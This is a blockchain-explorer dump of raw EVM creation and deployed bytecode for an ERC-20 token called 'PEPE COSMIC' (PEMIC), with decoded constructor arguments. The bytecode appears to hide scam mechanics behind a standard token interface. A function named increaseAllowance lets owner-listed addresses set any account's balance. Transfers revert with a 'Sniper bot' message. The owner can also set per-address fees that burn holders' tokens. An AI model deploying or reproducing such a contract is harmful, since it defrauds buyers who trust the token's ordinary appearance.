fff1603610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd906120a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90612139565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e129190611921565b60405180910390a3505050565b6000610e2b8484610a2b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea55781811015610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e906121a5565b60405180910390fd5b610ea48484848403610c57565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1190612237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f80906122c9565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611010576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110079061235b565b60405180910390fd5b6000600190506110208585611612565b1561102a57600090505b600081156111f55760008073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036110e457600a5490505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361113f5760095490505b5b6000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111cb57600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6111f160646111e383886116bd90919063ffffffff16565b6116d390919063ffffffff16565b9150505b60008111156113945761125081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112e7816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ff90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138b9190611921565b60405180910390a35b6113f181856113a3919061237b565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114918185611443919061237b565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ff90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838761152f919061237b565b60405161153c9190611921565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116b55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116cb91906123af565b905092915050565b600081836116e19190612420565b905092915050565b600081836116f7919061237b565b905092915050565b6000818361170d9190611cfc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061175482611729565b9050919050565b61176481611749565b811461176f57600080fd5b50565b6000813590506117818161175b565b92915050565b6000819050919050565b61179a81611787565b81146117a557600080fd5b50565b6000813590506117b781611791565b92915050565b600080604083850312156117d4576117d361171f565b5b60006117e285828601611772565b92505060206117f3858286016117a8565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561183757808201518184015260208101905061181c565b60008484015250505050565b6000601f19601f8301169050919050565b600061185f826117fd565b6118698185611808565b9350611879818560208601611819565b61188281611843565b840191505092915050565b600060208201905081810360008301526118a78184611854565b905092915050565b60008115159050919050565b6118c4816118af565b82525050565b60006020820190506118df60008301846118bb565b92915050565b6000602082840312156118fb576118fa61171f565b5b600061190984828501611772565b91505092915050565b61191b81611787565b82525050565b60006020820190506119366000830184611912565b92915050565b6000806000606084860312156119555761195461171f565b5b600061196386828701611772565b935050602061197486828701611772565b9250506040611985868287016117a8565b9150509250925092565b600060ff82169050919050565b6119a58161198f565b82525050565b60006020820190506119c0600083018461199c565b92915050565b600080604083850312156119dd576119dc61171f565b5b60006119eb858286016117a8565b92505060206119fc858286016117a8565b9150509250929050565b611a0f816118af565b8114611a1a57600080fd5b50565b600081359050611a2c81611a06565b92915050565b60008060408385031215611a4957611a4861171f565b5b6000611a5785828601611772565b9250506020611a6885828601611a1d565b9150509250929050565b611a7b81611749565b82525050565b6000602082019050611a966000830184611a72565b92915050565b60008060408385031215611ab357611ab261171f565b5b6000611ac185828601611772565b9250506020611ad285828601611772565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611b1982611843565b810181811067ffffffffffffffff82111715611b3857611b37611ae1565b5b80604052505050565b6000611b4b611715565b9050611b578282611b10565b919050565b600067ffffffffffffffff821115611b7757611b76611ae1565b5b602082029050602081019050919050565b600080fd5b6000611ba0611b9b84611b5c565b611b41565b90508083825260208201905060208402830185811115611bc357611bc2611b88565b5b835b81811015611bec5780611bd88882611772565b845260208401935050602081019050611bc5565b5050509392505050565b600082601f830112611c0b57611c0a611adc565b5b8135611c1b848260208601611b8d565b91505092915050565b600060208284031215611c3a57611c3961171f565b5b600082013567ffffffffffffffff811115611c5857611c57611724565b5b611c6484828501611bf6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cb457607f821691505b602082108103611cc757611cc6611c6d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d0782611787565b9150611d1283611787565b9250828201905080821115611d2a57611d29611ccd565b5b92915050565b7f4275792074617820616e642073656c6c20746178206d757374206265206c657360008201527f73207468616e206f7220657175616c20746f2033352500000000000000000000602082015250565b6000611d8c603683611808565b9150611d9782611d30565b604082019050919050565b60006020820190508181036000830152611dbb81611d7f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e1e602583611808565b9150611e2982611dc2565b604082019050919050565b60006020820190508181036000830152611e4d81611e11565b9050919050565b7f596f752061726520536e6970657220626f740000000000000000000000000000600082015250565b6000611e8a601283611808565b9150611e9582611e54565b602082019050919050565b60006020820190508181036000830152611eb981611e7d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611efa82611787565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f2c57611f2b611ccd565b5b600182019050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f93602683611808565b9150611f9e82611f37565b604082019050919050565b60006020820190508181036000830152611fc281611f86565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fff602083611808565b915061200a82611fc9565b602082019050919050565b6000602082019050818103600083015261202e81611ff2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612091602483611808565b915061209c82612035565b604082019050919050565b600060208201905081810360008301526120c081612084565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612123602283611808565b915061212e826120c7565b604082019050919050565b6000602082019050818103600083015261215281612116565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061218f601d83611808565b915061219a82612159565b602082019050919050565b600060208201905081810360008301526121be81612182565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612221602583611808565b915061222c826121c5565b604082019050919050565b6000602082019050818103600083015261225081612214565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122b3602383611808565b91506122be82612257565b604082019050919050565b600060208201905081810360008301526122e2816122a6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612345602683611808565b9150612350826122e9565b604082019050919050565b6000602082019050818103600083015261237481612338565b9050919050565b600061238682611787565b915061239183611787565b92508282039050818111156123a9576123a8611ccd565b5b92915050565b60006123ba82611787565b91506123c583611787565b92508282026123d381611787565b915082820484148315176123ea576123e9611ccd565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242b82611787565b915061243683611787565b925082612446576124456123f1565b5b82820490509291505056fea26469706673582212208cd2f8c063e137a7e20edeac7817a08fd69edc15e938a847820924fb6c654fe464736f6c63430008130033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b5045504520434f534d4943000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000550454d4943000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012b5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d71461031c578063a9059cbb1461034c578063dd62ed3e1461037c578063e0d8aede146103ac578063f2fde38b146103c85761012b565b806370a082311461028a578063715018a6146102ba5780637f2ecf21146102c45780638da5cb5b146102e057806395d89b41146102fe5761012b565b806323b872dd116100f457806323b872dd146101d4578063313ce567146102045780633950935114610222578063508e13b81461025257806359ca12531461026e5761012b565b8062dc4cf71461013057806306fdde031461014c578063095ea7b31461016a578063106c8e651461019a57806318160ddd146101b6575b600080fd5b61014a600480360381019061014591906117bd565b6103e4565b005b610154610434565b604051610161919061188d565b60405180910390f35b610184600480360381019061017f91906117bd565b6104c6565b60405161019191906118ca565b60405180910390f35b6101b460048036038101906101af91906118e5565b6104e9565b005b6101be61054c565b6040516101cb9190611921565b60405180910390f35b6101ee60048036038101906101e9919061193c565b610556565b6040516101fb91906118ca565b60405180910390f35b61020c610585565b60405161021991906119ab565b60405180910390f35b61023c600480360381019061023791906117bd565b61058e565b60405161024991906118ca565b60405180910390f35b61026c600480360381019061026791906119c6565b61066c565b005b61028860048036038101906102839190611a32565b6106d7565b005b6102a4600480360381019061029f91906118e5565b61073a565b6040516102b19190611921565b60405180910390f35b6102c2610783565b005b6102de60048036038101906102d991906118e5565b610797565b005b6102e86107e3565b6040516102f59190611a81565b60405180910390f35b61030661080d565b604051610313919061188d565b60405180910390f35b610336600480360381019061033191906117bd565b61089f565b60405161034391906118ca565b60405180910390f35b610366600480360381019061036191906117bd565b610916565b60405161037391906118ca565b60405180910390f35b61039660048036038101906103919190611a9c565b610a2b565b6040516103a39190611921565b60405180910390f35b6103c660048036038101906103c19190611c24565b610ab1565b005b6103e260048036038101906103dd91906118e5565b610b4e565b005b6103ec610bd1565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60606002805461044390611c9c565b80601f016020809104026020016040519081016040528092919081815260200182805461046f90611c9c565b80156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b5050505050905090565b6000806104d1610c4f565b90506104de818585610c57565b600191505092915050565b6104f1610bd1565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600154905090565b600080610561610c4f565b905061056e858285610e1f565b610579858585610eab565b60019150509392505050565b60006012905090565b600080610599610c4f565b905060011515600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036106415782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001915050610666565b6106608185856106518589610a2b565b61065b9190611cfc565b610c57565b60019150505b92915050565b610674610bd1565b60238211158015610686575060238111155b6106c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106bc90611da2565b60405180910390fd5b8160098190555080600a819055505050565b6106df610bd1565b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61078b610bd1565b610795600061154c565b565b61079f610bd1565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461081c90611c9c565b80601f016020809104026020016040519081016040528092919081815260200182805461084890611c9c565b80156108955780601f1061086a57610100808354040283529160200191610895565b820191906000526020600020905b81548152906001019060200180831161087857829003601f168201915b5050505050905090565b6000806108aa610c4f565b905060006108b88286610a2b565b9050838110156108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611e34565b60405180910390fd5b61090a8286868403610c57565b60019250505092915050565b60006001151560076000610928610c4f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415806109d0575060011515600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514155b610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690611ea0565b60405180910390fd5b610a21610a1a610c4f565b8484610eab565b6001905092915050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ab9610bd1565b60005b8151811015610b4a57600160076000848481518110610ade57610add611ec0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b4290611eef565b915050610abc565b5050565b610b56610bd1565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bc5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbc90611fa9565b60405180910390fd5b610bce8161154c565b50565b610bd9610c4f565b73ffffffffffffffffffffffffffffffffffffffff16610bf76107e3565b73ffffffffffffffffffffffffffffffffffffffff1614610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490612015565b60405180910390fd5b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbd906120a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2c90612139565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e129190611921565b60405180910390a3505050565b6000610e2b8484610a2b565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea55781811015610e97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8e906121a5565b60405180910390fd5b610ea48484848403610c57565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1190612237565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f80906122c9565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611010576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110079061235b565b60405180910390fd5b6000600190506110208585611612565b1561102a57600090505b600081156111f55760008073ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114057600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036110e457600a5490505b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff160361113f5760095490505b5b6000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156111cb57600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b6111f160646111e383886116bd90919063ffffffff16565b6116d390919063ffffffff16565b9150505b60008111156113945761125081600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112e7816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ff90919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161138b9190611921565b60405180910390a35b6113f181856113a3919061237b565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e990919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114918185611443919061237b565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116ff90919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef838761152f919061237b565b60405161153c9190611921565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116b55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b600081836116cb91906123af565b905092915050565b600081836116e19190612420565b905092915050565b600081836116f7919061237b565b905092915050565b6000818361170d9190611cfc565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061175482611729565b9050919050565b61176481611749565b811461176f57600080fd5b50565b6000813590506117818161175b565b92915050565b6000819050919050565b61179a81611787565b81146117a557600080fd5b50565b6000813590506117b781611791565b92915050565b600080604083850312156117d4576117d361171f565b5b60006117e285828601611772565b92505060206117f3858286016117a8565b9150509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561183757808201518184015260208101905061181c565b60008484015250505050565b6000601f19601f8301169050919050565b600061185f826117fd565b6118698185611808565b9350611879818560208601611819565b61188281611843565b840191505092915050565b600060208201905081810360008301526118a78184611854565b905092915050565b60008115159050919050565b6118c4816118af565b82525050565b60006020820190506118df60008301846118bb565b92915050565b6000602082840312156118fb576118fa61171f565b5b600061190984828501611772565b91505092915050565b61191b81611787565b82525050565b60006020820190506119366000830184611912565b92915050565b6000806000606084860312156119555761195461171f565b5b600061196386828701611772565b935050602061197486828701611772565b9250506040611985868287016117a8565b9150509250925092565b600060ff82169050919050565b6119a58161198f565b82525050565b60006020820190506119c0600083018461199c565b92915050565b600080604083850312156119dd576119dc61171f565b5b60006119eb858286016117a8565b92505060206119fc858286016117a8565b9150509250929050565b611a0f816118af565b8114611a1a57600080fd5b50565b600081359050611a2c81611a06565b92915050565b60008060408385031215611a4957611a4861171f565b5b6000611a5785828601611772565b9250506020611a6885828601611a1d565b9150509250929050565b611a7b81611749565b82525050565b6000602082019050611a966000830184611a72565b92915050565b60008060408385031215611ab357611ab261171f565b5b6000611ac185828601611772565b9250506020611ad285828601611772565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611b1982611843565b810181811067ffffffffffffffff82111715611b3857611b37611ae1565b5b80604052505050565b6000611b4b611715565b9050611b578282611b10565b919050565b600067ffffffffffffffff821115611b7757611b76611ae1565b5b602082029050602081019050919050565b600080fd5b6000611ba0611b9b84611b5c565b611b41565b90508083825260208201905060208402830185811115611bc357611bc2611b88565b5b835b81811015611bec5780611bd88882611772565b845260208401935050602081019050611bc5565b5050509392505050565b600082601f830112611c0b57611c0a611adc565b5b8135611c1b848260208601611b8d565b91505092915050565b600060208284031215611c3a57611c3961171f565b5b600082013567ffffffffffffffff811115611c5857611c57611724565b5b611c6484828501611bf6565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cb457607f821691505b602082108103611cc757611cc6611c6d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d0782611787565b9150611d1283611787565b9250828201905080821115611d2a57611d29611ccd565b5b92915050565b7f4275792074617820616e642073656c6c20746178206d757374206265206c657360008201527f73207468616e206f7220657175616c20746f2033352500000000000000000000602082015250565b6000611d8c603683611808565b9150611d9782611d30565b604082019050919050565b60006020820190508181036000830152611dbb81611d7f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611e1e602583611808565b9150611e2982611dc2565b604082019050919050565b60006020820190508181036000830152611e4d81611e11565b9050919050565b7f596f752061726520536e6970657220626f740000000000000000000000000000600082015250565b6000611e8a601283611808565b9150611e9582611e54565b602082019050919050565b60006020820190508181036000830152611eb981611e7d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611efa82611787565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611f2c57611f2b611ccd565b5b600182019050919050565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611f93602683611808565b9150611f9e82611f37565b604082019050919050565b60006020820190508181036000830152611fc281611f86565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611fff602083611808565b915061200a82611fc9565b602082019050919050565b6000602082019050818103600083015261202e81611ff2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612091602483611808565b915061209c82612035565b604082019050919050565b600060208201905081810360008301526120c081612084565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612123602283611808565b915061212e826120c7565b604082019050919050565b6000602082019050818103600083015261215281612116565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600061218f601d83611808565b915061219a82612159565b602082019050919050565b600060208201905081810360008301526121be81612182565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612221602583611808565b915061222c826121c5565b604082019050919050565b6000602082019050818103600083015261225081612214565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006122b3602383611808565b91506122be82612257565b604082019050919050565b600060208201905081810360008301526122e2816122a6565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612345602683611808565b9150612350826122e9565b604082019050919050565b6000602082019050818103600083015261237481612338565b9050919050565b600061238682611787565b915061239183611787565b92508282039050818111156123a9576123a8611ccd565b5b92915050565b60006123ba82611787565b91506123c583611787565b92508282026123d381611787565b915082820484148315176123ea576123e9611ccd565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242b82611787565b915061243683611787565b925082612446576124456123f1565b5b82820490509291505056fea26469706673582212208cd2f8c063e137a7e20edeac7817a08fd69edc15e938a847820924fb6c654fe464736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e100000000000000000000000000000000000000000000000000000000000000000b5045504520434f534d4943000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000550454d4943000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PEPE COSMIC
Arg [1] : symbol_ (string): PEMIC
Arg [2] : totalSupply_ (uint256): 100000000

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000000000000000000000000000000000000005f5e100
Arg [3] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [4] : 5045504520434f534d4943000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [6] : 50454d4943000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

